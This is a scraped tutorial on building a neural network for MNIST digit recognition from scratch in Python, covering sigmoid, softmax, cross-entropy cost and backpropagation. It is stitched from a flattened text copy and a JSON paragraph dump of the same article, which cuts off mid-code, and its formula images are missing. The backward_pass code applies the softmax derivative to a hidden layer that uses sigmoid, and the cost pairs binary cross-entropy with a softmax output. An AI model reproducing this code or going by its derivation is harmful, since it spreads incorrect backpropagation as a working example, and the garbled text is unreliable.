represent, 0 through 9). The images are literally just matrices full of numbers. Each pixel is a different number in the matrix. We could use square 28 x 28 pixel matrices, or we could simply unroll each matrix into a string of 784 numbers — the software actually doesn’t care about the shape, as long as we’re consistent. A neural network should work pretty well for image classification. Let’s try to build one from scratch. A neuron is the basic building block of a neural network. It has several inputs Ii and an output O. The internal sum Z is simply the weighted sum of all inputs I (multiplied by their weights W): Usually, there is a constant bias term B added at the end of the formula for Z (so Z typically ends with “... + B”). In this article we will ignore bias; the network will perform somewhat worse, but the math will be simpler. Z could have values in a wide range, but for O we want to keep the values in a sane interval, such as [0, 1], which are similar to probabilities, and just easier to deal with. You also want some non-linearity in there, or else the output will always be a linear aggregate of all inputs, which is definitely not what you want. So we need to transform Z into O using a function such as the sigmoid, whose output is always in that range. We say the sigmoid is the activation function of the neuron. There are many different activation functions A(Z) that we could use instead, but the sigmoid is good for a basic example, so we’ll use it here. Later on, we will need the derivative of the sigmoid as well, so let’s stick it in here: Python code for the sigmoid: def sigmoid(x, derivative = False): if derivative: return np.exp(-x) / ((np.exp(-x) + 1) ** 2) else: return 1 / (1 + np.exp(-x)) Neural networks are typically made of several layers, each layer containing multiple neurons: Writing all equations for all connections, to calculate the final output based on some input can be pretty boring. A network can have a lot of connections, and that means a giant pile of equations. However, matrix notation can replace a system of equations with a much simpler matrix equation. For each layer l, the internal sums Z of all neurons are the weighted sums of the outputs of the previous layer. The outputs of each layer are simply the activation function applied to all internal sums of that layer. In matrix form for layer l: Let’s extend these equations to the whole network. We will use the X symbol to denote the input (the hand-written images we’re recognizing). So, let’s write all of the above in matrix notation, all layers, all values. The final equation for On is a bit different (the final layer gets special treatment), we will get back to it in a few moments when we talk about softmax below. The matrices are multiplied using the dot product. The shape of each Wl matrix is rectangular; the size of one side is the number of neurons in the current layer; the size of the other side is the number of neurons in the previous layer; the total number of weights is the product of the number of neurons in the previous layer times the number of neurons in the current layer. This is the “magic” that makes the dot product work. When we create the network, we don’t know what weights we will need. We could simply assign random values to the weights. For example, we could pull random values from the standard normal distribution. To reduce the amount of very large values that the weights may get, we will narrow down the standard deviation of the distribution, proportional to the number of weights. More weights = more narrow distribution (closer to 0). This will avoid having to deal with very large numbers when computing Z. The number of neurons is a bit tricky to figure out. The input and output are determined already: if you have 784 pixels in the image, you need 784 inputs. If you have 10 categories to recognize, you need 10 outputs. For the other layers, it gets more complicated; in general, it’s a good idea for the number of neurons to gradually “diminish” from input to output, layer by layer. See the code below. The whole network (the “model”) is in the variable called “model”. It has 4 layers. The size of the input layer is the same as the size of one input sample data (784). The size of the output is the same as the size of one output sample data (10). The other two layers have intermediate numbers of neurons (128 and 64). Remember, we only store the weights W in the model. def nn_init(lsize): # human-readable names for clarity input_layer = lsize[0] hidden_1 = lsize[1] hidden_2 = lsize[2] output_layer = lsize[3] # narrowing down the standard deviation by layer size, with np.sqrt() # large layers have tighter initial values nnet = { 'w0': np.random.randn(hidden_1, input_layer) * np.sqrt(1. / hidden_1), 'w1': np.random.randn(hidden_2, hidden_1) * np.sqrt(1. / hidden_2), 'w2': np.random.randn(output_layer, hidden_2) * np.sqrt(1. / output_layer) } return nnetlayer_sizes = [x_train[0].shape[0], 128, 64, y_train[0].shape[0]]model = nn_init(layer_sizes) We’re doing classification, so the network has K outputs, one for each category of object we’re recognizing. In this case, K = 10, since the objects are digits and there are 10 categories (0, 1, 2, ..., 9). We could use the sigmoid function on each output as we do on all other neurons in the network. Then each output will have values between 0 and 1, and the highest value (closest to 1) wins. But we could go one step further: to make the outputs look like actual probabilities, let’s make sure their sum is always 1. Each output is between 0 and 1, and their sum needs to be exactly 1, because the total probability that the object is in any class out of the total of K classes is always 1 (we never show “foreign” objects to the network, at least not during training, which is the part that matters). That could be done with the softmax function. For each output Oi we calculate its value like this: The Python function below calculates softmax, but the exponentials are shifted to avoid computing very large values. The result is the same, the function looks a bit more complex, but behaves better in practice. def softmax(x, derivative = False): # for stability, we shift values down so max = 0 # https://cs231n.github.io/linear-classify/#softmax exp_shifted = np.exp(x - x.max()) if derivative: return exp_shifted / np.sum(exp_shifted, axis = 0) * (1 - exp_shifted / np.sum(exp_shifted, axis = 0)) else: return exp_shifted / np.sum(exp_shifted, axis = 0) Okay, we have the network, we apply a sample value (an image of a digit) at the input, how do we calculate its output? We go layer by layer, multiplying inputs / previous outputs by weights, we apply activation functions (sigmoid), and so on until we reach the output, where we apply softmax. Let’s show the equations again: That’s all. That’s how a fully trained network works. It’s a series of linear algebra operations, layer by layer, that end up computing the output based on the input and the network weights. The Python function below does exactly that. It assumes the model (all W matrices) is a global variable (for code simplicity — this is school stuff, not production code), it takes one input sample X as an argument, and returns a dictionary with a bunch of matrices, each one containing the O and Z values for each layer in the network. The last O matrix in that dict is the network output. That’s the result we’re looking for. def forward_pass(x): # the model is a global var, used here read-only # NN state: internal sums, neuron outputs nn_state = {} # "output zero" is the output from receptors = input to first layer in the NN # these are activations for the input layer nn_state['o0'] = x # from input layer to hidden layer 1 # weighted sum of all activations, then sigmoid nn_state['z1'] = np.dot(model['w0'], nn_state['o0']) nn_state['o1'] = sigmoid(nn_state['z1']) # from hidden 1 to hidden 2 nn_state['z2'] = np.dot(model['w1'], nn_state['o1']) nn_state['o2'] = sigmoid(nn_state['z2']) # from hidden 2 to output nn_state['z3'] = np.dot(model['w2'], nn_state['o2']) nn_state['o3'] = softmax(nn_state['z3']) return nn_state But how to train a network? If we start with random weights and apply an input X (an image), the output On is going to be nonsense, it’s not going to be anywhere near the “true” output Y. The central idea of training is that we must adjust the weights W until the output of the network On is close to Y (the “ideal” value). The training algorithm at a high level may look like this: initialize a network with random weights apply an input sample X (an image) do forward propagation and compute the output On compare the output On with the real value Y that you want to get adjust the weights of the last layer so the output gets a little “better” (the error is reduced) go back layer by layer and adjust weights so the error is reduced (this is the hard part) apply the next input sample X (another image) repeat all of the above thousands of times, using many different pairs of input X and output Y samples, until the network performs well enough The hard part is figuring out how to adjust the weights, going backward from output to input, so the error is diminished. That is called backpropagation. But to get there, we need to create a few tools first. Let’s say we have the network output On and we compare it with the “perfect” output Y from the training data. How close is On to Y, how do we define “closeness”? If we had a function with a value that would increase as On becomes more and more “different” from Y, we could call that a cost function (because mistakes are expensive), and we could use it to reduce the cost. For this classification problem, cross-entropy could play the role of cost (other functions are used in other cases). Assuming we have K outputs, it is the sum over all outputs of: where Oi are the various outputs on the network, and Yi are the corresponding training values for each output. The reason why this formula works is Yi can be either 0 or 1. If you have 10 values in a Y sample, then nine of them will be 0 (the object X does not belong to any of those categories) and one of them will be 1 (the object X belongs to that category). Then either one or the other terms in the sum becomes 0, and the other term depends only on Oi. If both O and Y are 1-dimensional vectors (which they are), then in matrix notation using the dot product the equation above becomes: The logarithm is applied element-wise, and so is the difference 1 — Y. The Numpy library can do matrix operations, so the Python function for cost is a direct, literal translation of the last formula: def part_cost(o, y): c = np.dot(y, np.log(o)) + np.dot((1 - y), np.log(1 - o)) return -c Let’s keep this function in mind, we will use it later to evaluate the performance of the network. This is the keystone of the argument: given a cost C calculated from the output O and the training value Y, we want to change the weights W so that C is reduced (by making O more similar to Y). If we could calculate the derivative of C with regards to W (let’s call it Δ), and then adjust W in the down direction of the derivative plane, then C would decrease. If the derivative is positive then we decrease W (because the minimum is towards smaller Ws), and vice-versa. Another name for this technique is gradient descent. In other words: think of the cost function C in the W space. Forget about X or anything else. Think only of C(W). You need to walk C through the W space until you stumble upon some minimum in the W space. That’s what “training” means: find the best set of W values that minimizes C. What follows is not strict proof. It’s more of a mathematical intuition. If you follow the equations carefully, you will notice a few places where we’re abusing the math (e.g. confusing differentials with actual finite variations). In practice, it will work out — neural networks are robust against error. Let’s define δ as the partial derivative of the cost C w.r.t. the internal sums Z. For the layer l this is written: For the previous layer l-1 we obtain by applying the chain rule: But we know this to be true from the definition of Z: And by plugging this last formula into the previous one, we get: This formula is recursive. All we need is the δl for the last layer, which we can calculate from C and Zl which we know from forward propagation. Once we have δl we can go back layer by layer and calculate the δ values for all layers, one by one. More importantly, now we can also go back layer by layer and compute the derivative Δl of the cost function C with regards to the weights Wl of each layer l. This is what we really need to make backpropagation work. We’re getting close now. Let’s recalculate Δ for each layer using the chain rule: In other words: But we have all the Ol values from forward propagation (they are the outputs of each layer), and we’ve computed all the δl values above. That means we can compute Δl for all layers, starting at the output and moving back through the network. Once we have all the big deltas, we can use them to update the weights. In practice, the updates will be weighted down by a learning rate factor λ which is typically a small value (0.001), so we don’t make sudden large changes to the network. Again, if Δ (the derivative of C w.r.t. W) is positive, that means there will be smaller C values in the direction of the smaller W values. So we need to decrease W to make C decrease. And vice-versa. λ can be tricky to think about. Do not get stuck on “units” or anything like that. Just pick a λ value so the changes to W are small enough — baby steps. Whatever happens to Δ, after multiplying it by λ the result ought to be small compared to W. And that’s all there is to it. That’s enough to make the algorithm work. For each training sample, modifying the network weights W to minimize the cost via backpropagation works like this: apply the training sample X (the image) to the input do forward propagation, calculating all the Z and O (output) values for all layers calculate all the δ matrices recursively (backward) for all layers calculate all Δ matrices from the δ matrices update the weights That’s a complete single backpropagation step. See the Python code below: def backward_pass(x, y): # do the forward pass, register the state of the network nn_state = forward_pass(x) # small deltas: derivatives of the error w.r.t. z nn_state['d3'] = nn_state['o3'] - y nn_state['d2'] = np.dot(nn_state['d3'], model['w2']) * softmax(nn_state['z2'], derivative = True) nn_state['d1'] = np.dot(nn_state['d2'], model['w1']) * sigmoid(nn_state['z1'], derivative = True) # large deltas: adjustments to weights nn_state['D2'] = np.outer(nn_state['d3'], nn_state['o2']) nn_state['D1'] = np.outer(nn_state['d2'], nn_state['o1']) nn_state['D0'] = np.outer(nn_state['d1'], nn_state['o0']) return nn_state The backward_pass() function takes an image X and a training response Y as arguments. The model is a global variable. It returns the nn_state dictionary containing all the Z, O, d, and D matrices. d stands for δ here. The D matrices are the weight adjustment terms Δ calculated during backprop. See the full training code below. “epochs” are the number of times the code needs to go over the whole training data; multiple passes (epochs) are needed for good training; we do 5 epochs. A training rate t_rate is defined, to be used for weight updates — it’s really the λ in our equations (sorry for the notation change). You could update the weights after each input sample X (stochastic gradient descent), or you could accumulate W changes (accumulate the Δ matrices) for a whole epoch and apply everything at the end (batch gradient descent), or you could do something in between. Here we use stochastic descent. The code also evaluates cost (divergence from perfect responses) and accuracy (the number of times the classification was correct). At the end, the model (the W matrices) is saved to disk. epochs = 5t_rate = 0.001# trainprint('################### training ####################')for e in range(epochs): print('epoch:', e) samples = x_train.shape[0] cost = 0 hit_count = 0 for i in tqdm(range(samples)): m_state = backward_pass(x_train[i], y_train[i]) # add partial cost cost += part_cost(m_state['o3'], y_train[i]) # stochastic gradient descent # update weights model['w0'] -= t_rate * m_state['D0'] model['w1'] -= t_rate * m_state['D1'] model['w2'] -= t_rate * m_state['D2'] if np.argmax(m_state['o3']) == np.argmax(y_train[i]): # successful detection hit_count += 1# performance evaluation cost = cost / samples accuracy = hit_count / samples print('cost:', cost, 'accuracy:', accuracy)# save the modelwith open('model.pickle', 'wb') as f: pickle.dump(model, f) So how well does the network do? We’ve trained it with the training data x_train and y_train. But we’ve set aside data for testing: x_test and y_test. It’s always a good idea to leave some data alone just for testing. That’s data that the network has never seen in training. Therefore we’re guaranteed that the performance estimate will be fair. Something like 20% is a good size for the test data to set aside (assuming you have plenty of data — thousands of samples or more). The evaluation only goes through the test data and calculates cost and accuracy, and prints out the results. # testprint('################### testing ####################')# load the modelif os.path.isfile('model.pickle'): with open('model.pickle', 'rb') as f: model = pickle.load(f)# run the whole test datasamples = x_test.shape[0]cost = 0hit_count = 0for i in tqdm(range(samples)): m_state = forward_pass(x_test[i]) cost += part_cost(m_state['o3'], y_test[i]) if np.argmax(m_state['o3']) == np.argmax(y_test[i]): hit_count += 1# evaluate performancecost = cost / samplesaccuracy = hit_count / samplesprint('cost:', cost, 'accuracy:', accuracy) Because we don’t use bias for our neurons, the performance of the network will be rather modest: about 60% accuracy. It could definitely do better. But this is a learning example, not production code. This is the network performance in training, notice how it gets better with every epoch: See below the performance in testing. It’s actually a bit better than in training, which is not typical, but the behavior of the training algorithm is a bit random to some extent. Here’s a Jupyter notebook with the full code used in this article: https://github.com/FlorinAndrei/misc/blob/master/nn_backprop.ipynb It downloads the MNIST_784 dataset, which is a bunch of images with hand-written numbers, about 70,000 images total. It uses functions from the Tensorflow libraries to prepare the training/testing split (which is totally overkill, but very convenient). It trains and tests the network. As a bonus, it generates a few images used in this article. All images and all code were created by the author of this article. I took the machine learning class by Andrew Ng on Coursera several years ago, and it’s very useful if you want to understand the mathematical intricacies of this algorithm. www.coursera.org Thanks for reading!
[ { "code": null, "e": 341, "s": 172, "text": "How do neural networks really work? I will show you a complete example, written from scratch in Python, with all the math you need to completely understand the process." }, { "code": null, "e": 581, "s": 341, "text": "I will explain everything in plain English as well. You could just follow along, read just the text and still get the general idea. But to re-implement everything from scratch on your own, you will have to understand the math and the code." }, { "code": null, "e": 761, "s": 581, "text": "I’ve seen several articles such as this, but in most cases they were incomplete. I wanted to give this topic a complete treatment: all the math + working code, batteries included." }, { "code": null, "e": 986, "s": 761, "text": "You must grasp linear algebra, calculus, and statistics to fully understand the math part: matrix multiplication, dot product, partial derivatives, the chain rule, normal distribution, probabilities, standard deviation, etc." }, { "code": null, "e": 1209, "s": 986, "text": "We have a large set of images, each 28 x 28 pixels, containing hand-drawn numbers. We need to write an app that can look at the images and recognize the numbers drawn in there. In other words, if the app sees this image..." }, { "code": null, "e": 1245, "s": 1209, "text": "...then it should print out this..." }, { "code": null, "e": 1276, "s": 1245, "text": "[0, 0, 0, 0, 1, 0, 0, 0, 0, 0]" }, { "code": null, "e": 1569, "s": 1276, "text": "...which means “I see the number 4”: there are 10 slots in there, the first corresponds to number 0, then next to number 1, the next is number 2, and so on; all have the value 0 except for the slot corresponding to number 4 which has the value 1. That means the app has “recognized” number 4." }, { "code": null, "e": 1597, "s": 1569, "text": "Or if it sees this image..." }, { "code": null, "e": 1633, "s": 1597, "text": "...then it should print out this..." }, { "code": null, "e": 1664, "s": 1633, "text": "[0, 0, 1, 0, 0, 0, 0, 0, 0, 0]" }, { "code": null, "e": 1697, "s": 1664, "text": "...which means “I see number 2”." }, { "code": null, "e": 1971, "s": 1697, "text": "This is called image recognition because we’re recognizing images. It is also called classification because we have a bunch of inputs (images of digits) that need to be classified (categorized) into 10 different categories (the kinds of digits they represent, 0 through 9)." }, { "code": null, "e": 2269, "s": 1971, "text": "The images are literally just matrices full of numbers. Each pixel is a different number in the matrix. We could use square 28 x 28 pixel matrices, or we could simply unroll each matrix into a string of 784 numbers — the software actually doesn’t care about the shape, as long as we’re consistent." }, { "code": null, "e": 2373, "s": 2269, "text": "A neural network should work pretty well for image classification. Let’s try to build one from scratch." }, { "code": null, "e": 2473, "s": 2373, "text": "A neuron is the basic building block of a neural network. It has several inputs Ii and an output O." }, { "code": null, "e": 2568, "s": 2473, "text": "The internal sum Z is simply the weighted sum of all inputs I (multiplied by their weights W):" }, { "code": null, "e": 2793, "s": 2568, "text": "Usually, there is a constant bias term B added at the end of the formula for Z (so Z typically ends with “... + B”). In this article we will ignore bias; the network will perform somewhat worse, but the math will be simpler." }, { "code": null, "e": 3119, "s": 2793, "text": "Z could have values in a wide range, but for O we want to keep the values in a sane interval, such as [0, 1], which are similar to probabilities, and just easier to deal with. You also want some non-linearity in there, or else the output will always be a linear aggregate of all inputs, which is definitely not what you want." }, { "code": null, "e": 3434, "s": 3119, "text": "So we need to transform Z into O using a function such as the sigmoid, whose output is always in that range. We say the sigmoid is the activation function of the neuron. There are many different activation functions A(Z) that we could use instead, but the sigmoid is good for a basic example, so we’ll use it here." }, { "code": null, "e": 3523, "s": 3434, "text": "Later on, we will need the derivative of the sigmoid as well, so let’s stick it in here:" }, { "code": null, "e": 3552, "s": 3523, "text": "Python code for the sigmoid:" }, { "code": null, "e": 3701, "s": 3552, "text": "def sigmoid(x, derivative = False): if derivative: return np.exp(-x) / ((np.exp(-x) + 1) ** 2) else: return 1 / (1 + np.exp(-x))" }, { "code": null, "e": 3795, "s": 3701, "text": "Neural networks are typically made of several layers, each layer containing multiple neurons:" }, { "code": null, "e": 3993, "s": 3795, "text": "Writing all equations for all connections, to calculate the final output based on some input can be pretty boring. A network can have a lot of connections, and that means a giant pile of equations." }, { "code": null, "e": 4089, "s": 3993, "text": "However, matrix notation can replace a system of equations with a much simpler matrix equation." }, { "code": null, "e": 4335, "s": 4089, "text": "For each layer l, the internal sums Z of all neurons are the weighted sums of the outputs of the previous layer. The outputs of each layer are simply the activation function applied to all internal sums of that layer. In matrix form for layer l:" }, { "code": null, "e": 4386, "s": 4335, "text": "Let’s extend these equations to the whole network." }, { "code": null, "e": 4553, "s": 4386, "text": "We will use the X symbol to denote the input (the hand-written images we’re recognizing). So, let’s write all of the above in matrix notation, all layers, all values." }, { "code": null, "e": 4714, "s": 4553, "text": "The final equation for On is a bit different (the final layer gets special treatment), we will get back to it in a few moments when we talk about softmax below." }, { "code": null, "e": 4765, "s": 4714, "text": "The matrices are multiplied using the dot product." }, { "code": null, "e": 5145, "s": 4765, "text": "The shape of each Wl matrix is rectangular; the size of one side is the number of neurons in the current layer; the size of the other side is the number of neurons in the previous layer; the total number of weights is the product of the number of neurons in the previous layer times the number of neurons in the current layer. This is the “magic” that makes the dot product work." }, { "code": null, "e": 5347, "s": 5145, "text": "When we create the network, we don’t know what weights we will need. We could simply assign random values to the weights. For example, we could pull random values from the standard normal distribution." }, { "code": null, "e": 5646, "s": 5347, "text": "To reduce the amount of very large values that the weights may get, we will narrow down the standard deviation of the distribution, proportional to the number of weights. More weights = more narrow distribution (closer to 0). This will avoid having to deal with very large numbers when computing Z." }, { "code": null, "e": 6028, "s": 5646, "text": "The number of neurons is a bit tricky to figure out. The input and output are determined already: if you have 784 pixels in the image, you need 784 inputs. If you have 10 categories to recognize, you need 10 outputs. For the other layers, it gets more complicated; in general, it’s a good idea for the number of neurons to gradually “diminish” from input to output, layer by layer." }, { "code": null, "e": 6419, "s": 6028, "text": "See the code below. The whole network (the “model”) is in the variable called “model”. It has 4 layers. The size of the input layer is the same as the size of one input sample data (784). The size of the output is the same as the size of one output sample data (10). The other two layers have intermediate numbers of neurons (128 and 64). Remember, we only store the weights W in the model." }, { "code": null, "e": 7068, "s": 6419, "text": "def nn_init(lsize): # human-readable names for clarity input_layer = lsize[0] hidden_1 = lsize[1] hidden_2 = lsize[2] output_layer = lsize[3] # narrowing down the standard deviation by layer size, with np.sqrt() # large layers have tighter initial values nnet = { 'w0': np.random.randn(hidden_1, input_layer) * np.sqrt(1. / hidden_1), 'w1': np.random.randn(hidden_2, hidden_1) * np.sqrt(1. / hidden_2), 'w2': np.random.randn(output_layer, hidden_2) * np.sqrt(1. / output_layer) } return nnetlayer_sizes = [x_train[0].shape[0], 128, 64, y_train[0].shape[0]]model = nn_init(layer_sizes)" }, { "code": null, "e": 7275, "s": 7068, "text": "We’re doing classification, so the network has K outputs, one for each category of object we’re recognizing. In this case, K = 10, since the objects are digits and there are 10 categories (0, 1, 2, ..., 9)." }, { "code": null, "e": 7874, "s": 7275, "text": "We could use the sigmoid function on each output as we do on all other neurons in the network. Then each output will have values between 0 and 1, and the highest value (closest to 1) wins. But we could go one step further: to make the outputs look like actual probabilities, let’s make sure their sum is always 1. Each output is between 0 and 1, and their sum needs to be exactly 1, because the total probability that the object is in any class out of the total of K classes is always 1 (we never show “foreign” objects to the network, at least not during training, which is the part that matters)." }, { "code": null, "e": 7973, "s": 7874, "text": "That could be done with the softmax function. For each output Oi we calculate its value like this:" }, { "code": null, "e": 8185, "s": 7973, "text": "The Python function below calculates softmax, but the exponentials are shifted to avoid computing very large values. The result is the same, the function looks a bit more complex, but behaves better in practice." }, { "code": null, "e": 8560, "s": 8185, "text": "def softmax(x, derivative = False): # for stability, we shift values down so max = 0 # https://cs231n.github.io/linear-classify/#softmax exp_shifted = np.exp(x - x.max()) if derivative: return exp_shifted / np.sum(exp_shifted, axis = 0) * (1 - exp_shifted / np.sum(exp_shifted, axis = 0)) else: return exp_shifted / np.sum(exp_shifted, axis = 0)" }, { "code": null, "e": 8885, "s": 8560, "text": "Okay, we have the network, we apply a sample value (an image of a digit) at the input, how do we calculate its output? We go layer by layer, multiplying inputs / previous outputs by weights, we apply activation functions (sigmoid), and so on until we reach the output, where we apply softmax. Let’s show the equations again:" }, { "code": null, "e": 9076, "s": 8885, "text": "That’s all. That’s how a fully trained network works. It’s a series of linear algebra operations, layer by layer, that end up computing the output based on the input and the network weights." }, { "code": null, "e": 9412, "s": 9076, "text": "The Python function below does exactly that. It assumes the model (all W matrices) is a global variable (for code simplicity — this is school stuff, not production code), it takes one input sample X as an argument, and returns a dictionary with a bunch of matrices, each one containing the O and Z values for each layer in the network." }, { "code": null, "e": 9503, "s": 9412, "text": "The last O matrix in that dict is the network output. That’s the result we’re looking for." }, { "code": null, "e": 10282, "s": 9503, "text": "def forward_pass(x): # the model is a global var, used here read-only # NN state: internal sums, neuron outputs nn_state = {} # \"output zero\" is the output from receptors = input to first layer in the NN # these are activations for the input layer nn_state['o0'] = x # from input layer to hidden layer 1 # weighted sum of all activations, then sigmoid nn_state['z1'] = np.dot(model['w0'], nn_state['o0']) nn_state['o1'] = sigmoid(nn_state['z1']) # from hidden 1 to hidden 2 nn_state['z2'] = np.dot(model['w1'], nn_state['o1']) nn_state['o2'] = sigmoid(nn_state['z2']) # from hidden 2 to output nn_state['z3'] = np.dot(model['w2'], nn_state['o2']) nn_state['o3'] = softmax(nn_state['z3']) return nn_state" }, { "code": null, "e": 10470, "s": 10282, "text": "But how to train a network? If we start with random weights and apply an input X (an image), the output On is going to be nonsense, it’s not going to be anywhere near the “true” output Y." }, { "code": null, "e": 10665, "s": 10470, "text": "The central idea of training is that we must adjust the weights W until the output of the network On is close to Y (the “ideal” value). The training algorithm at a high level may look like this:" }, { "code": null, "e": 10706, "s": 10665, "text": "initialize a network with random weights" }, { "code": null, "e": 10741, "s": 10706, "text": "apply an input sample X (an image)" }, { "code": null, "e": 10790, "s": 10741, "text": "do forward propagation and compute the output On" }, { "code": null, "e": 10855, "s": 10790, "text": "compare the output On with the real value Y that you want to get" }, { "code": null, "e": 10952, "s": 10855, "text": "adjust the weights of the last layer so the output gets a little “better” (the error is reduced)" }, { "code": null, "e": 11042, "s": 10952, "text": "go back layer by layer and adjust weights so the error is reduced (this is the hard part)" }, { "code": null, "e": 11088, "s": 11042, "text": "apply the next input sample X (another image)" }, { "code": null, "e": 11231, "s": 11088, "text": "repeat all of the above thousands of times, using many different pairs of input X and output Y samples, until the network performs well enough" }, { "code": null, "e": 11440, "s": 11231, "text": "The hard part is figuring out how to adjust the weights, going backward from output to input, so the error is diminished. That is called backpropagation. But to get there, we need to create a few tools first." }, { "code": null, "e": 11813, "s": 11440, "text": "Let’s say we have the network output On and we compare it with the “perfect” output Y from the training data. How close is On to Y, how do we define “closeness”? If we had a function with a value that would increase as On becomes more and more “different” from Y, we could call that a cost function (because mistakes are expensive), and we could use it to reduce the cost." }, { "code": null, "e": 11994, "s": 11813, "text": "For this classification problem, cross-entropy could play the role of cost (other functions are used in other cases). Assuming we have K outputs, it is the sum over all outputs of:" }, { "code": null, "e": 12105, "s": 11994, "text": "where Oi are the various outputs on the network, and Yi are the corresponding training values for each output." }, { "code": null, "e": 12453, "s": 12105, "text": "The reason why this formula works is Yi can be either 0 or 1. If you have 10 values in a Y sample, then nine of them will be 0 (the object X does not belong to any of those categories) and one of them will be 1 (the object X belongs to that category). Then either one or the other terms in the sum becomes 0, and the other term depends only on Oi." }, { "code": null, "e": 12587, "s": 12453, "text": "If both O and Y are 1-dimensional vectors (which they are), then in matrix notation using the dot product the equation above becomes:" }, { "code": null, "e": 12658, "s": 12587, "text": "The logarithm is applied element-wise, and so is the difference 1 — Y." }, { "code": null, "e": 12788, "s": 12658, "text": "The Numpy library can do matrix operations, so the Python function for cost is a direct, literal translation of the last formula:" }, { "code": null, "e": 12883, "s": 12788, "text": "def part_cost(o, y): c = np.dot(y, np.log(o)) + np.dot((1 - y), np.log(1 - o)) return -c" }, { "code": null, "e": 12982, "s": 12883, "text": "Let’s keep this function in mind, we will use it later to evaluate the performance of the network." }, { "code": null, "e": 13176, "s": 12982, "text": "This is the keystone of the argument: given a cost C calculated from the output O and the training value Y, we want to change the weights W so that C is reduced (by making O more similar to Y)." }, { "code": null, "e": 13506, "s": 13176, "text": "If we could calculate the derivative of C with regards to W (let’s call it Δ), and then adjust W in the down direction of the derivative plane, then C would decrease. If the derivative is positive then we decrease W (because the minimum is towards smaller Ws), and vice-versa. Another name for this technique is gradient descent." }, { "code": null, "e": 13789, "s": 13506, "text": "In other words: think of the cost function C in the W space. Forget about X or anything else. Think only of C(W). You need to walk C through the W space until you stumble upon some minimum in the W space. That’s what “training” means: find the best set of W values that minimizes C." }, { "code": null, "e": 14095, "s": 13789, "text": "What follows is not strict proof. It’s more of a mathematical intuition. If you follow the equations carefully, you will notice a few places where we’re abusing the math (e.g. confusing differentials with actual finite variations). In practice, it will work out — neural networks are robust against error." }, { "code": null, "e": 14211, "s": 14095, "text": "Let’s define δ as the partial derivative of the cost C w.r.t. the internal sums Z. For the layer l this is written:" }, { "code": null, "e": 14276, "s": 14211, "text": "For the previous layer l-1 we obtain by applying the chain rule:" }, { "code": null, "e": 14330, "s": 14276, "text": "But we know this to be true from the definition of Z:" }, { "code": null, "e": 14395, "s": 14330, "text": "And by plugging this last formula into the previous one, we get:" }, { "code": null, "e": 14642, "s": 14395, "text": "This formula is recursive. All we need is the δl for the last layer, which we can calculate from C and Zl which we know from forward propagation. Once we have δl we can go back layer by layer and calculate the δ values for all layers, one by one." }, { "code": null, "e": 14883, "s": 14642, "text": "More importantly, now we can also go back layer by layer and compute the derivative Δl of the cost function C with regards to the weights Wl of each layer l. This is what we really need to make backpropagation work. We’re getting close now." }, { "code": null, "e": 14940, "s": 14883, "text": "Let’s recalculate Δ for each layer using the chain rule:" }, { "code": null, "e": 14956, "s": 14940, "text": "In other words:" }, { "code": null, "e": 15198, "s": 14956, "text": "But we have all the Ol values from forward propagation (they are the outputs of each layer), and we’ve computed all the δl values above. That means we can compute Δl for all layers, starting at the output and moving back through the network." }, { "code": null, "e": 15441, "s": 15198, "text": "Once we have all the big deltas, we can use them to update the weights. In practice, the updates will be weighted down by a learning rate factor λ which is typically a small value (0.001), so we don’t make sudden large changes to the network." }, { "code": null, "e": 15642, "s": 15441, "text": "Again, if Δ (the derivative of C w.r.t. W) is positive, that means there will be smaller C values in the direction of the smaller W values. So we need to decrease W to make C decrease. And vice-versa." }, { "code": null, "e": 15962, "s": 15642, "text": "λ can be tricky to think about. Do not get stuck on “units” or anything like that. Just pick a λ value so the changes to W are small enough — baby steps. Whatever happens to Δ, after multiplying it by λ the result ought to be small compared to W. And that’s all there is to it. That’s enough to make the algorithm work." }, { "code": null, "e": 16078, "s": 15962, "text": "For each training sample, modifying the network weights W to minimize the cost via backpropagation works like this:" }, { "code": null, "e": 16131, "s": 16078, "text": "apply the training sample X (the image) to the input" }, { "code": null, "e": 16214, "s": 16131, "text": "do forward propagation, calculating all the Z and O (output) values for all layers" }, { "code": null, "e": 16281, "s": 16214, "text": "calculate all the δ matrices recursively (backward) for all layers" }, { "code": null, "e": 16326, "s": 16281, "text": "calculate all Δ matrices from the δ matrices" }, { "code": null, "e": 16345, "s": 16326, "text": "update the weights" }, { "code": null, "e": 16419, "s": 16345, "text": "That’s a complete single backpropagation step. See the Python code below:" }, { "code": null, "e": 17084, "s": 16419, "text": "def backward_pass(x, y): # do the forward pass, register the state of the network nn_state = forward_pass(x) # small deltas: derivatives of the error w.r.t. z nn_state['d3'] = nn_state['o3'] - y nn_state['d2'] = np.dot(nn_state['d3'], model['w2']) * softmax(nn_state['z2'], derivative = True) nn_state['d1'] = np.dot(nn_state['d2'], model['w1']) * sigmoid(nn_state['z1'], derivative = True) # large deltas: adjustments to weights nn_state['D2'] = np.outer(nn_state['d3'], nn_state['o2']) nn_state['D1'] = np.outer(nn_state['d2'], nn_state['o1']) nn_state['D0'] = np.outer(nn_state['d1'], nn_state['o0']) return nn_state" }, { "code": null, "e": 17379, "s": 17084, "text": "The backward_pass() function takes an image X and a training response Y as arguments. The model is a global variable. It returns the nn_state dictionary containing all the Z, O, d, and D matrices. d stands for δ here. The D matrices are the weight adjustment terms Δ calculated during backprop." }, { "code": null, "e": 17703, "s": 17379, "text": "See the full training code below. “epochs” are the number of times the code needs to go over the whole training data; multiple passes (epochs) are needed for good training; we do 5 epochs. A training rate t_rate is defined, to be used for weight updates — it’s really the λ in our equations (sorry for the notation change)." }, { "code": null, "e": 17997, "s": 17703, "text": "You could update the weights after each input sample X (stochastic gradient descent), or you could accumulate W changes (accumulate the Δ matrices) for a whole epoch and apply everything at the end (batch gradient descent), or you could do something in between. Here we use stochastic descent." }, { "code": null, "e": 18129, "s": 17997, "text": "The code also evaluates cost (divergence from perfect responses) and accuracy (the number of times the classification was correct)." }, { "code": null, "e": 18186, "s": 18129, "text": "At the end, the model (the W matrices) is saved to disk." }, { "code": null, "e": 19092, "s": 18186, "text": "epochs = 5t_rate = 0.001# trainprint('################### training ####################')for e in range(epochs): print('epoch:', e) samples = x_train.shape[0] cost = 0 hit_count = 0 for i in tqdm(range(samples)): m_state = backward_pass(x_train[i], y_train[i]) # add partial cost cost += part_cost(m_state['o3'], y_train[i]) # stochastic gradient descent # update weights model['w0'] -= t_rate * m_state['D0'] model['w1'] -= t_rate * m_state['D1'] model['w2'] -= t_rate * m_state['D2'] if np.argmax(m_state['o3']) == np.argmax(y_train[i]): # successful detection hit_count += 1# performance evaluation cost = cost / samples accuracy = hit_count / samples print('cost:', cost, 'accuracy:', accuracy)# save the modelwith 